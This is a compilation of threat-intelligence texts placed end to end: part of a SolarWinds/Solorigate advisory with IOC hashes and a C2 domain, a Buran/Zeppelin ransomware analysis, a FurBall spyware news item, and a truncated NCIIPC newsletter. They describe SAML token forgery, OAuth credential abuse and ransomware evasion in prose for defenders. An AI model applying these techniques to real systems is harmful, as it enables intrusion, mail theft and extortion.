Anomalous logins using the SAML tokens created by the compromised token signing certificate can then be made against any on-premises resources (regardless of identity system or vendor) as well as to any cloud environment (regardless of vendor) because they have been configured to trust the certificate. Because the SAML tokens are signed with their own trusted certificate, the anomalies might be missed by the organization. - Using the global administrator account and/or the trusted certificate to impersonate highly privileged accounts, the actor may add their own credentials to existing applications or service principals, enabling them to call APIs with the permission assigned to that application. Due to the critical nature of this activity, Microsoft is sharing the following information to help detect, protect, and respond to this threat. ## Activity Description ### Initial Access Although we do not know how the backdoor code made it into the library, from the recent campaigns, research indicates that the attackers might have compromised internal build or distribution systems of SolarWinds, embedding backdoor code into a legitimate SolarWinds library with the file name `SolarWinds.Orion.Core.BusinessLayer.dll`. This backdoor can be distributed via automatic update platforms or systems in target networks. Microsoft security researchers currently have limited information about how the attackers compromised these platforms. ### Execution While updating the SolarWinds application, the embedded backdoor code loads before the legitimate code executes. Organizations are misled into believing that no malicious activity has occurred and that the program or application dependent on the libraries is behaving as expected. The attackers have compromised signed libraries that used the target companies’ own digital certificates, attempting to evade application control technologies. Microsoft already removed these certificates from its trusted list. The certificate details with the signer hash are shown below: The DLL then loads from the installation folder of the SolarWinds application. Afterwards, the main implant installs as a Windows service and as a DLL file in the following path using a folder with different names: - SolarWinds Orion installation folder, for example, `%PROGRAMFILES%\SolarWinds\Orion\SolarWinds.Orion.Core.BusinessLayer.dll` - The .NET Assembly cache folder (when compiled) `%WINDIR%\System32\config\systemprofile\AppData\Local\assembly\tmp\<VARIES>\SolarWinds.Orion.Core.BusinessLayer.dll` Microsoft security researchers observed malicious code from the attacker activated only when running under `SolarWinds.BusinessLayerHost.exe` process context for the DLL samples currently analyzed. ### Command-and-Control (C2) The malicious DLL calls out to a remote network infrastructure using the domain `avsvmcloud.com` to prepare possible second-stage payloads, move laterally in the organization, and compromise or exfiltrate data. Microsoft detects the main implant and its other components as Solorigate. ### Actions on Objectives In actions observed at the Microsoft cloud, attackers have either gained administrative access using compromised privileged account credentials (e.g., stolen passwords) or by forging SAML tokens using compromised SAML token signing certificates. In cases where we see SAML token signing certificate compromise, there are cases where the specific mechanism by which the actor gains access to the certificate has not been determined. In the cases we have determined that the SAML token signing certificate was compromised, common tools were used to access the database that supports the SAML federation server using administrative access and remote execution capabilities. In other cases, service account credentials had been granted administrative privileges; and in others, administrative accounts may have been compromised by unrelated mechanisms. Typically, the certificate is stored on the server that provides the SAML federation capabilities; this makes it accessible to anyone with administrative rights on that server, either from storage or by reading memory. Once the certificate has been acquired, the actor can forge SAML tokens with whatever claims and lifetime they choose, then sign it with the certificate that has been acquired. By doing this, they can access any resources configured to trust tokens signed with that SAML token signing certificate. This includes forging a token which claims to represent a highly privileged account in Azure AD. As with on-premises accounts, the actor may also gain administrative Azure AD privileges with compromised credentials. This is particularly likely if the account in question is not protected by multi-factor authentication. Regardless of whether the actor minted SAML tokens or gained access to Azure AD through other means, specific malicious activities have been observed using these administrative privileges to include long-term access and data access as described below. ### Long Term Access Having gained a significant foothold in the on-premises environment, the actor has made modifications to Azure Active Directory settings to facilitate long-term access. 1. **Federation Trusts** Microsoft has observed the actor adding new federation trusts to an existing tenant or modifying the properties of an existing federation trust to accept tokens signed with actor-owned certificates. 2. **OAuth Application & Service Principal Credentials** The actor has been observed adding credentials (x509 keys or password credentials) to one or more legitimate OAuth Applications or Service Principals, usually with existing Mail.Read or Mail.ReadWrite permissions, which grants the ability to read mail content from Exchange Online via Microsoft Graph or Outlook REST. Examples include mail archiving applications. Permissions are usually, but not always, AppOnly. The actor may use their administrator privileges to grant additional permissions to the target Application or Service Principal (e.g., Mail.Read, Mail.ReadWrite). ### Data Access Data access has relied on leveraging minted SAML tokens to access user files/email or impersonating the Applications or Service Principals by authenticating and obtaining Access Tokens using credentials that were added in 2a. above. The actor periodically connects from a server at a VPS provider to access specific users’ emails using the permissions granted to the impersonated Application or Service Principal. In many cases, the targeted users are key IT and security personnel. By impersonating existing applications that use permissions like Mail.Read to call the same APIs leveraged by the actor, the access is hidden amongst normal traffic. For this reason, if you suspect you are impacted, you should assume your communications are accessible to the actor. ## Recommended Defenses If your organization has not been attacked or compromised by this actor, Microsoft recommends you consider the following actions to protect against the techniques described above as part of your overall response. This is not an exhaustive list, and Microsoft may choose to update this list as new mitigations are determined: 1. Run up-to-date antivirus or EDR products that detect compromised SolarWinds libraries and potentially anomalous process behavior by these binaries. Consider disabling SolarWinds in your environment entirely until you are confident that you have a trustworthy build free of injected code. For more details consult SolarWinds’ Security Advisory. 2. Block known C2 endpoints listed below in IOCs using your network infrastructure. 3. Follow the best practices of your identity federation technology provider in securing your SAML token signing keys. Consider hardware security for your SAML token signing certificates if your identity federation technology provider supports it. Consult your identity federation technology provider for specifics. For Active Directory Federation Services, review Microsoft’s recommendations here: Best Practices for Securing ADFS. 4. Ensure that user accounts with administrative rights follow best practices, including use of privileged access workstations, JIT/JEA, and strong authentication. Reduce the number of users that are members of highly privileged Directory Roles, like Global Administrator, Application Administrator, and Cloud Application Administrator. 5. Ensure that service accounts and service principals with administrative rights use high entropy secrets, like certificates, stored securely. Monitor for changes to secrets used for service accounts and service principals as part of your security monitoring program. Monitor for anomalous use of service accounts. Monitor your sign-ins. Microsoft Azure AD indicates session anomalies, as does Microsoft Cloud App Security if in use. 6. Reduce surface area by removing/disabling unused or unnecessary applications and service principals. Reduce permissions on active applications and service principals, especially application (AppOnly) permissions. 7. See Secure your Azure AD identity infrastructure for more recommendations. ## Microsoft Product Protections and Resources If you believe your organization has been compromised, we recommend that you comprehensively audit your on-premises and cloud infrastructure to include configuration, per-user and per-app settings, forwarding rules, and other changes the actor may have made to persist their access. In addition, we recommend comprehensively removing user and app access, reviewing configurations for each, and re-issuing new, strong credentials in accordance with documented industry best practices. ## Indicators of Compromise (IOCs) The below list provides IOCs observed during this activity. We encourage our customers to implement detections and protections to identify possible prior campaigns or prevent future campaigns against their systems. This list is not exhaustive and may expand as investigations continue. We also recommend you review the IOCs provided by FireEye. ### Command and Control - `avsvmcloud.com` Command and Control (C2) ### Observed malicious instances of SolarWinds.Orion.Core.BusinessLayer.dll | SHA256 | File Version | Date first seen | |--------|--------------|------------------| | e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d | 2020.2.100.11713 | February 2020 | | a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2 | 2020.2.100.11784 | March 2020 | | 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 | 2019.4.5200.9083 | March 2020 | | dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b | 2020.2.100.12219 | March 2020 | | eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed | 2020.2.100.11831 | March 2020 | | c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77 | Not available | March 2020 | | ffdbdd460420972fd2926a7f460c198523480bc6279dd6cca177230db18748e8 | 2019.4.5200.9065 | March 2020 | | b8a05cc492f70ffa4adcd446b693d5aa2b71dc4fa2bf5022bf60d7b13884f666 | 2019.4.5200.9068 | March 2020 | | 20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9 | 2019.4.5200.9078 | March 2020 | | 0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589 | 2019.4.5200.9078 | March 2020 | | cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6 | 2019.4.5200.9083 | March 2020 | | ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c | 2020.4.100.478 | April 2020 | | 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134 | 2020.2.5200.12394 | April 2020 | | ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6 | 2020.2.5300.12432 | May 2020 | | 2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d | 2019.4.5200.9078 | May 2020 | | 92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690 | 2020.4.100.751 | May 2020 | | a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d | Not available | Not available | | a25cadd48d70f6ea0c4a241d99c5241269e6faccb4054e62d16784640f8e53bc | 2019.4.5200.8890 | October 2019 | | d3c6785e18fba3749fb785bc313cf8346182f532c59172b69adfb31b96a5d0af | 2019.4.5200.8890 | October 2019 | Analyst’s comment: These indicators should not be considered exhaustive for this observed activity. Moreover, aside from the malicious DLLs, Microsoft researchers have observed two files in October 2019 with code anomalies when a class was added to the SolarWinds DLL. Note however that these two do not have active malicious code or methods. ## Revision history - 2020-12-21: Added link to the Solorigate Resource Center - 2020-12-21: Added link to DART blog - 2020-12-18: Updated links to include Microsoft product protections and resources - 2020-12-17: Added link to Azure Sentinel blog post, added more observed malicious instances - 2020-12-16: Updated links to Azure Sentinel detections - 2020-12-13: Published
# Ransomware on the Rise: Buran’s Transformation into Zeppelin Ransomware is still evolving. Evidence for this can be seen every day. Our analysts have taken a look at Buran and Zeppelin, a particularly devastating exhibit of this evolution. Ransomware made a strong comeback in 2019 after its hiatus in 2018. Many high-profile attacks were reported by the end of 2019. According to Emsisoft, in the U.S. alone, the victims of ransomware include at least 113 government agencies, 89 educational establishments, and 764 healthcare providers. The total amount of ransom demands tallies over $7.5 billion. In a report by Coveware, the average cost of ransom payment increased by 104% from the third to fourth quarter of 2019. It is therefore hardly surprising that cybercriminals are enticed once again into developing and creating new ransomware variants. Amongst the prevalent ransomware last year was the Buran ransomware that emerged in early May 2019 and continues to proliferate until now. In a matter of just 9 months, this ransomware released over 5 updates by changing its code and attack vectors in order to stay stealthy and cause more damage. By the end of last year, a new variant of ransomware known as Zeppelin was released. Upon initial analysis of Zeppelin, certain behaviors and parts of its source code have been found to have similarities with Buran. This led us to identify Zeppelin as a new variant of Buran. ## Attack Vector Zeppelin is reaching its target networks primarily through phishing emails. These emails contain macro-enabled documents that will initiate the download and execution of the ransomware file on the victim’s machine. Moreover, other Zeppelin samples were also distributed through malicious advertisements (malvertising) that are designed to trick its victims into clicking fake advertisements which will trigger the download of the malicious file. Lastly, Zeppelin, like other ransomware, utilizes the use of public remote desktop software via web interfaces to remotely control a victim’s machine and execute the ransomware. ## Installation Like Buran, Zeppelin will allocate a space in memory. When executed, it will perform its decryption routine. However, compared to Buran’s straightforward routine, Zeppelin has some changes to its code. For instance, it now harvests application programming interface (APIs) that it will use later by loading it in the stack. After decrypting, it will re-write the decrypted code to the base address of the file and execute it. It uses this obfuscation technique to make the analysis and signature detection of the file difficult. ## Harvesting of API The main similarities of Zeppelin with Buran are its several system checks. It will first attempt to connect to the internet to make a query to hxxp://geoiptool.com. This is a valid web service that checks the geolocation of a system with the use of an IP address, to verify where the file is currently being executed. If found to be running in either Ukraine, Belarus, Kazakhstan, or the Russian Federation, it won’t proceed with its infection and terminate instantly. The malware authors did this to make sure that the ransomware won’t infect any user living in the mentioned countries. This could be a hint that the ransomware originated from any of these countries. ## Country Protection Check Zeppelin also creates a registry key that will be used to store data. In the early variants of Zeppelin, it still creates a “Buran” registry key which was later changed to Zeppelin. This is one of the links between Buran and Zeppelin. Compared to Buran, which just creates several instances of itself, Zeppelin drops an executable file inside the %APPDATA% directory with a filename randomly chosen from a list of possible names. To ensure its persistence, it adds an autorun key to the registry that points to the path of the dropped file. ## Execution of its Copy with “-start” Upon execution of the dropped copy, it will decrypt the contents of its ransom note, then store it in an allocated memory space for later use. Meanwhile, it will connect once again to the Internet and make a query to geoiptools.com to recheck where it was executed. After that, it will initiate a connection to iplogger.org, once again a legitimate web service used to track IP addresses, with the user-agent field id set to “ZEPPELIN” and the referrer field containing the unique ID of the victim. The malware author can use the IPLogger service to view the list of victims Zeppelin ransomware has. The processes running in the victim’s system will be checked against a list of applications associated with monitoring system processes and services, database, backups, and web services. If the name of the process can be found in the list, Zeppelin will force terminate the said processes, to ensure that the maximum number of important data files will be encrypted. ## Drops Clipboard Banker The second instance of Zeppelin enables the malware author to drop a version of Clipbanker in the %appdata%\local\temp directory and execute it as “winupas.exe”. This clipbanker is responsible for monitoring the system’s clipboard for any strings that match a cryptocurrency address. If a match is identified, clipbanker will replace the string with that of the malware author’s cryptocurrency address so that any amount of cryptocurrency to be transferred will be redirected to the malware author’s address. After that, Zeppelin will create another instance of itself with “-agent 0” argument. ## Third Instance The third instance of Zeppelin is mainly for file encryption. First, it will check available drives in the system by iterating drives from Z:\ to A:\. It only looks for certain drive types which are: unknown, removable, fixed, remote, and RAM disk drives. Then, all directories except Windows Operating System-related, Internet browsers, and among other folders, will be traversed to encrypt all files in it. These whitelisted folders and their files are avoided to ensure the proper execution of the malware. ## Whitelisted File Paths One of the evident changes in Zeppelin is that the infection coverage is wider as it infects more file types than Buran. For instance, Zeppelin not only infects document files but also executable files with “.exe” extension. This makes Zeppelin more destructive than Buran as it renders the victim’s machine pretty much unusable by encrypting all software installed, unless the installation path is included in the whitelisted file paths. Every Zeppelin encrypted file can easily be distinguished by an infection marker “ZEPPELIN” that can be seen at the beginning of the file’s content. This infection marker makes it distinct from Buran, but at the same time an indication that they are from the same family as they both leave infection markers at the start of each file using the same encryption routine. After all files in the directory are encrypted, a ransom note in text file format will be dropped. Lastly, it will open a ransom note using notepad.exe to inform the victim of the infection. ## Conclusion In this day where we create faster solutions and detections, malware authors also adapt to this by creating and releasing more malware updates to make sure that it stays relevant. This is evident in ransomware campaigns as malware authors get an extra motivation by gaining huge sums of money in exchange for file recovery. Normally, ransomware only infects document files which is also the case with Buran. However, Zeppelin takes things a step further by targeting not only document-related files but also applications and tools installed in the victim’s system. This extent of damage gives Zeppelin more leverage for the victim to pay the ransom. With this, delivering more advanced detections and solutions that will withstand fast-paced changes of ransomware is needed. Just like G Data’s DeepRay technology that uses artificial intelligence and machine learning to protect its users from such sophisticated tactics of criminal hackers. ## Information for Fellow Researchers **G DATA Detections:** - Buran: Win32.Trojan-Ransom.Buran.A - Zeppelin: Win32.Trojan-Ransom.Zeppelin.A **IOC** - Buran: 7f0dcd4b9d8881fd0c42a6d605f843c496b7ed1fc3ae3a29d0bd37e851eaadfb - Zeppelin: 1cefe918ae56ebd3c2de309efbdd3a99808c823615a11a58bf144d3d6699f69b
# Hacking group updates Furball Android spyware to evade detection A new version of the 'FurBall' Android spyware has been found targeting Iranian citizens in mobile surveillance campaigns conducted by the Domestic Kitten hacking group, also known as APT-C-50. The spyware is deployed in a mass-surveillance operation that has been underway since at least 2016. Multiple cybersecurity firms have reported on Domestic Kitten, which they believe is an Iranian state-sponsored hacking group. The newest FurBall malware version was sampled and analyzed by ESET researchers, who report it has many similarities with earlier versions, but now comes with obfuscation and C2 updates. This discovery confirms that 'Domestic Kitten' is still ongoing in its sixth year, which further backs the hypothesis that the operators are tied to the Iranian regime, enjoying immunity from law enforcement. ## New FurBall details The new version of FurBall is distributed via fake websites that are visually clones of real ones, where victims end up after direct messages, social media posts, emails, SMS, black SEO, and SEO poisoning. In one case spotted by ESET, the malware is hosted on a fake website mimicking an English-to-Persian translation service popular in the country. In the fake version, there’s a Google Play button that supposedly lets users download an Android version of the translator, but instead of landing on the app store, they are sent an APK file named ‘sarayemaghale.apk.’ Depending on what permissions are defined in the Android app's AndroidManifest.xml file, the spyware is capable of stealing the following information: - Clipboard contents - Device location - SMS messages - Contact list - Call logs - Record calls - Content of notifications - Installed and running apps - Device info However, ESET says that the sample it analyzed has limited functionality, only requesting access to contacts and storage media. These permissions are still powerful if abused, and at the same time, won't raise suspicions to the targets, which is likely why the hacking group restricted FurBall's potential. If needed, the malware can receive commands to execute directly from its command and control (C2) server, which is contacted via an HTTP request every 10 seconds. In terms of the new obfuscation layer, ESET says it includes class names, strings, logs, and server URI paths, attempting to evade detection from anti-virus tools. Previous versions of FurBall didn’t feature any obfuscation at all. Hence, VirusTotal detects the malware on four AV engines, whereas previously, it was flagged by 28 products.
# NCIIPC Newsletter - July 2018 ## Message from the NCIIPC Desk Dear Readers, Welcome to this issue of NCIIPC Quarterly Newsletter. In the previous quarter, major developments were seen worldwide for the release of new directives for cyber security and protection of Critical Information Infrastructure. India has published its ‘Rules of Information Security Practices and Procedures for Protected System’. This aims to strengthen NCIIPC’s efforts in protecting national critical assets. In a similar move, in March, Australia passed a bill for the security of its Critical Infrastructure. During the last week of May 2018, the European Union declared the General Data Protection Regulation (GDPR) to protect the data of its citizens. The move will have its effect worldwide. Under GDPR, companies need to nominate a Data Protection Officer and implement necessary measures for data privacy. On the other side, The Internet Engineering Task Force (IETF) finalized the release of the Transportation Layer Security (TLS) 1.3 version protocol. TLS 1.3 will speed up and improve the security of the HTTPS protocol. During the previous quarter, the evolution of malwares targeting Indian Critical Infrastructure entities was observed. These malwares typically use various phishing techniques to penetrate sensitive networks. As a precautionary measure, NCIIPC is taking proactive steps to raise user awareness on protection from such phishing attacks. NCIIPC organized cyber security sensitization workshops at Chandigarh and Puducherry in collaboration with respective State Governments. Thanks to all our readers for their participation. Kindly keep mailing your suggestions and contributions at [email protected]. ## News Snippets - National ### Rules Defined for Information Security of the ‘Protected System’ The Central Government has declared ‘Rules for the Information Security Practices and Procedures for Protected System’. The organization having ‘Protected System’ shall: - Constitute an Information Security Steering Committee (ISSC) which shall be the apex body. - Nominate a Chief Information Security Officer (CISO). - Maintain and continually improve the Information Security Management System (ISMS) of the ‘Protected System’. - Ensure that the network architecture of ‘Protected System’ is documented. - Maintain the documentation of authorized personnel having access to ‘Protected System’. - Maintain and review the documents of inventory of hardware and software related to ‘Protected System’. - Ensure that Vulnerability/Threat/Risk (V/T/R) Analysis for the cyber security architecture of ‘Protected System’ be carried out at least once a year. - Implement and continually improve the Cyber Crisis Management Plan (CCMP). - Ensure conduct of internal and external Information Security audits periodically. - Maintain and review documented processes for IT Security Service Level Agreements (SLAs). - Establish a Cyber Security Operation Centre (C-SOC). - Establish a Network Operation Centre (NOC). - Maintain and review the process of taking regular backup of logs of networking devices, perimeter devices, communication devices, servers, systems, and services supporting ‘Protected System’. The CISO will be responsible for implementing various security measures and share any change related to ‘Protected System’ with NCIIPC. He shall also establish a process of sharing relevant logs and records of the Cyber Security Operation Centre (SOC) pertaining to the ‘Protected System’. ### Ransomware Attack on UHBVN Billing Data On March 22, computers screens of ‘Uttar Haryana Bijli Vitran Nigam’ flashed a message in which hackers demanded ransom in Bitcoins in order to retrieve the data. UHBVN monitors electricity billing of nine districts of Haryana and with this cyber-attack, billing data of thousands of customers was affected. A case was registered in Panchkula under IT Act and different sections of IPC. UHBVN claimed that the cyber-attack on the Automatic Meter Reading System did not affect the billing of about 4,000 Industrial consumers as backup of the same was available with the Nigam. An official of the Nigam told that there was no loss of billing data and the billing consumers would not be affected. ### All Payment Operators to Store Payments Data within India Only Reserve Bank of India (RBI) on 6th April directed Payments System providers to ensure that the entire data relating to payment systems operated by them is stored in India only. This data should include the full end-to-end transaction details/information collected/carried/processed as part of the message/payment instruction. RBI has also directed Payment Operators to conduct an audit by CERT-IN empanelled auditors certifying completion of activity. “It is observed that not all system providers store the payments data in India. In order to ensure better monitoring, it is important to have unfettered supervisory access to data stored with these system providers as well as with their service providers/intermediaries/third-party vendors and other entities in the payment ecosystem,” RBI said in a notification. ### Tamil Nadu Conducting Security Audit of Government Websites Tamil Nadu State e-Government Agency is conducting a cyber security audit of state government websites and IT applications to protect the State’s Critical Information Infrastructure from cyber-attack. NCIIPC had earlier advised to identify the Critical Information Infrastructure of the State which initiated the action of conducting a cyber security audit. ### No Confirmed Data Leakage Established - EPFO Employees' Provident Fund Organisation (EPFO) said that there was no data leakage from its data centre. The statement from EPFO came after news reports suggested that the retirement fund body had informed the Ministry of Electronics and IT of a ‘data theft’. EPFO also informed that it has taken advance action by ‘closing the server and host service through Common Service Centres pending vulnerability checks as part of the data security and protection’. Further, it added that ‘No confirmed data leakage has been established or observed so far. As such, there is nothing to be concerned about the news item.” - EPFO ## News Snippets - International ### Critical Vulnerabilities Discovered in OPC UA Industrial Protocol OPC UA is an industrial protocol for reliable and secure data transmission between various systems on an industrial network. This protocol is widely used by major vendors in modern industrial facilities, in the manufacturing, oil and gas, pharmaceuticals industries, and others. Kaspersky Lab experts analyzed OPC Unified Architecture (OPC UA) and discovered that implementations of the protocol contained code design and writing errors. Overall, 17 zero-day vulnerabilities were identified and reported to the developers. These vulnerabilities could result in heavy damage to industry. There was a risk of Denial-of-Service to industrial systems by disrupting or shutting down industrial processes. The remote code execution vulnerability allows attackers to send any kind of server commands to control industrial processes or continue their intrusion into the network. ### US Company Fined for Noncompliance with Security Standards A US-based power company has been given a notice of penalty regarding non-compliance with cybersecurity standards. The notice states that a security researcher discovered more than 30,000 asset records of the company accessible online, including information such as IP addresses and server host names. The data was exposed publicly on the Internet for 70 days, which includes the usernames of the database and its cryptographic information. This would increase the risk of a malicious attacker gaining both physical and remote access to the Critical Systems. The company has agreed to pay a $2.7 million penalty; if approved, the multimillion-dollar fine would be the largest ever in the energy industry involving compliance with cybersecurity regulations. ### Australia Passed the Security of Critical Infrastructure Bill Australia’s Parliament passed the Security of Critical Infrastructure Bill in March 2018 to protect the electricity, gas, ports, and water sectors from ‘foreign involvement’ that could lead to espionage, sabotage, and coercion. It also gives Ministers the power to direct companies to conduct risk mitigation actions. Under s32(2), the Australian Security Intelligence Organisation can provide advice to the Minister in the form of a security assessment, with the Minister then able to direct critical infrastructure owners or operators to do or not do a certain thing to mitigate a risk that has been identified as prejudicial to security. The government also launched the Critical Infrastructure Centre last year that works across electricity, water, ports, and telecommunications to conduct national security risk assessments and make suggestions for mitigation strategies. ### Investigators Slam NASA for Cybersecurity Shortcomings Recent reports from the Government Accountability Office (GAO) identified weaknesses in NASA’s (National Aeronautics and Space Administration) IT management practices for strategic planning, workforce planning, governance, and cybersecurity. GAO found that the agency’s IT strategy fails to comply with Government best practices. The Chief Information Officer (CIO) planned to develop and begin implementing an agency-wide cybersecurity strategy by September 2016, but investigators said that no such plan has been drafted. NASA’s CIO told GAO that the agency will soon begin rolling out a strategy based on the National Institute of Standards and Technology’s cybersecurity framework. The NASA Inspector General also highlighted numerous shortcomings in the Security Operations Centre, which was founded in 2007 with the intent of becoming the agency’s ‘cybersecurity nerve centre’. ### Canadian Banks Warn: Hackers Might have Stolen Data On May 28, two major Canadian banks: Bank of Montreal and online bank Simplii Financial — owned by Canadian Imperial Bank of Commerce (CIBC) warned that hackers might have accessed the personal and financial information of nearly 90,000 customers. Hackers threatened to make this information public unless the lenders pay a $1-million ransom in cryptocurrency ‘Ripple’. In an email, the hackers said that they accessed information such as names, account numbers, passwords, security questions and answers, and even social insurance numbers and account balances, by exploiting weaknesses in the two banks' security systems. They used an algorithm to get account numbers, which allowed them to pose as authentic account holders who had simply forgotten their password, which was apparently enough to allow them to reset the backup security questions and answers, giving them access to the account. Both banks are in contact with those who have been affected and are providing instruction on how to monitor their accounts for suspicious activity. ## Trends ### Use of Power Lines to Steal Data from Air-gapped Computers PowerHammer is a new type of attack that uses the power lines to steal data from air-gapped computers. In this case, a malicious code running on a compromised computer can control power consumption of the system by intentionally regulating the CPU utilization. Data is modulated, encoded, and transmitted on top of the current flow fluctuations, and then it is conducted and propagated through the power lines. This phenomenon is known as a ’conducted emission’. There are two versions of this attack. First, Line level power-hammering attack, in which the attacker taps the in-home powerlines that are directly attached to the electrical outlet. Second, Phase level power-hammering attack, in which the attacker taps the power lines at the phase level, in the main electrical service panel. In both versions of the attack, the attacker measures the emission conducted and then decodes the data. ### Kaspersky Threat Landscape Report for ICS Kaspersky Lab released a report on ‘Threat Landscape for Industrial Automation Systems in H2 2017’. Following are the main highlights: - Nearly 40 percent of all Industrial Control Systems (ICS) in energy organizations protected by Kaspersky Lab solutions were attacked by malware at least once – closely followed by 35 percent of engineering & ICS integration networks. - For all other industries (manufacturing, transportation, utilities, food, healthcare, etc.), the proportion of ICS computers attacked ranged from 26 percent to 30 percent on average. - The vast majority of detected attacks were accidental hits. - The sector that demonstrated the most noticeable growth of ICS computers attacked was construction, with 31 percent attacked. - Researchers have discovered a rise in mining attacks on ICS. - The top five countries by percentage of ICS computers attacked include Vietnam (70%), Algeria (66%), Morocco (60%), Indonesia (60%), and China (60%). - In 2017, 11% of all ICS systems were attacked by botnet agents. ### Five Most Dangerous New Attack Techniques SANS Institute researchers at RSA Conference 2018 shared what they believe to be the five most dangerous new attack techniques in cybersecurity: - Repositories and Cloud Storage Data Leakage: With vast online code repositories for collaboration and cloud data storage hosting mission-critical applications, attackers are increasingly targeting such infrastructures, looking for passwords, crypto keys, access tokens, and terabytes of sensitive data. - Big Data Analytics, De-Anonymization, and Correlation: Now the battle is shifting from hacking machines to hacking data - gathering data from disparate sources and fusing it together to de-anonymize users, find business weaknesses, and opportunities. - Exploitability in ICS/SCADA: Publicly visible ICS attacks like Triton/TriSYS show capability and intent to compromise some of the highest risk components of industrial environments. Many systems in this domain lack the mitigations of modern operating systems and applications. Attackers have demonstrated they have the inclination and resource to diversify their attacks which opens up new and concerning possibilities. - Attackers Monetize Compromised Systems Using Crypto-Miners: Most commonly stolen data like credit card numbers has dropped significantly in value. Attackers will instead install crypto coin miners. These attacks are stealthier and less likely to be discovered. - Hardware Flaws: Hardware is no less complex than software and mistakes have been made just as they are made in software. Patching hardware is a lot more difficult and often not possible without replacing entire systems or suffering significant performance penalties. ### IBM Banned its Staff from Using Removable Storage Devices IBM banned its staff from using removable storage devices (e.g., USB, SD card, flash drive). The move is to minimize the possible financial and reputational damage from misplaced, lost, or misused removable portable storage devices. IBM employees are advised to use the company’s sync ‘n’ share service to move data around. Parts of IBM have already been working without portable drives, but the ban now reportedly extends to all employees worldwide. ### IETF Released TLS Version 1.3 The IETF finalized the Transportation Layer Security (TLS) 1.3 version after 28 drafts. TLS 1.3 protocol provides unparalleled privacy and performance compared to previous versions of TLS. With TLS 1.3, HTTPS performance has been made faster and safer for every user and every device. TLS 1.3 stopped supporting many of the older encryption algorithms that TLS 1.2 supports that over the years people have managed to find holes in. The new protocol aims to comprehensively thwart any attempts by eavesdroppers to decrypt intercepted HTTPS connections. The new security protocol reduces latency caused during the TLS Handshake by removing a whole round-trip connection for session establishment. ### Multi-Stage Intrusion Campaign Against CII by Nation States Recently, US-CERT issued an alert on a nation-state cyber activity targeting Energy, Nuclear, Commercial Facilities, Water, Aviation, and Critical Manufacturing Sectors of the United States. This alert refers to Symantec Dragonfly reports published on 06 September 2017. Symantec has been chasing the Dragonfly group since 2011; however, their report of September 2017 speaks about ‘Dragonfly 2.0’, which is based on their assessment of the group’s activities since 2015. Confirmed targets of the Dragonfly campaign include the US, Canada, and Turkey. The Dragonfly campaign is a multi-stage intrusion attack, which first targets intermediate subjects and finally compromises the Industrial Control Systems of OT. ### AI in Cyber Defence: New Vista for Security Professionals Artificial Intelligence and Machine Learning are the buzzwords since the last couple of years. The sophistication of technology to handle big data coupled with Machine Learning and Artificial Intelligence has simplified our lives. As businesses and Governments have already adopted Artificial Intelligence and Machine Learning, its potential to handle Cyber Security is more apparent. The sophistication and readily available technology solutions have put Hackers and businesses head-to-head. The hackers are able to develop more sophisticated threats and businesses are looking to implement Artificial Intelligence in advanced threat prevention and mitigation. Some of the usages are as follows: - Re-writing encryption keys continuously to enhance security. - Auto-analyze network traffic as an Advanced Warning System that gives an extra layer of protection. - Identification of vulnerabilities. - Handling of insider threats using behavioral and policy breach analysis. The real challenge now is to have more expertise in this field. According to the Centre for Cyber Safety and Education, there will be a shortfall of 1.8 million cybersecurity professionals by 2022. Further, as the existing technologies mature, organizations will require more expertise in the field to tackle Cyber Security-related issues. It is pertinent for organizations to take advantage of this advancing AI and ML technology. To succeed in this arena, it is essential for Governments and industry to collaborate for the development of the next generation of security professionals. ### Router-based Attacks: Next Big Trend in Cybersecurity In the last three months, there have been a series of reports pointing to attacks on Routers. On 25th May, the Federal Bureau of Investigation (FBI) issued an urgent bulletin for anyone with a home or small office router to immediately turn it off and then turn it on again as a way to temporarily thwart the spread of foreign malware. The malware, called VPNFilter, targets small home and office routers. Once a router is infected, the hackers would potentially be able to use the device as a jumping-off point to launch further attacks. Talos, the security arm of Cisco, reported that at least 500,000 devices in at least 54 countries have been infected. Devices manufactured by Linksys, MikroTik, Netgear, and TP-Link were among those found to have been affected, according to the Talos report. Many of the infected devices have known public exploits and use default credentials, meaning that customers who set up their home router out of the box and never changed the password or updated the firmware could be at a higher risk. In April, the United States and United Kingdom issued a joint statement that state-sponsored hackers are leveraging vulnerabilities in routers and other network infrastructure devices to target governments, private-sector organizations, infrastructure providers, and ISPs. Kaspersky Lab reported that a targeted phishing campaign called Roaming Mantis, found primarily in South Korea, changed DNS settings on routers, pointing users to malicious websites that, in turn, prompted users to ‘update’ apps on Android phones to deliver a payload that harvested credentials, including those for two-factor authentication. Akamai published a report detailing coordinated abuse of flawed implementations of UPnP on routers allowing hackers to inject NAT rules, creating a proxy for hackers to disguise the origin of their traffic. Akamai's report indicated 65,000 routers compromised in this way, with over 4.8 million routers potentially vulnerable. ### Cyber Security Threat Assessment of Transport Sector Cyber threats to the Transport Sector are of concern because of the growing reliance on cyber-based control, navigation, tracking, positioning, and communications systems, as well as the ease with which malicious actors can exploit cyber systems serving transportation. For example, a cyber-attack on Global Positioning Systems (GPS) could significantly impact many transportation infrastructures. - **Aviation**: In the aviation industry, technical advances in navigation systems and airframe design have reduced the chances of an accident; however, the increasing reliance on computers poses a different threat. Traditionally air-gapped Air Traffic Control networks are considered the backbone of the aviation industry. But due to operational efficiency and for faster communication, these are now interfacing with IT networks and hence opened up a cyber-attack vector that needs to be guarded strongly. - **Railway**: As the rail industry adapts and becomes increasingly dependent on electronic sensors and network technologies, new vulnerabilities to physical networks may 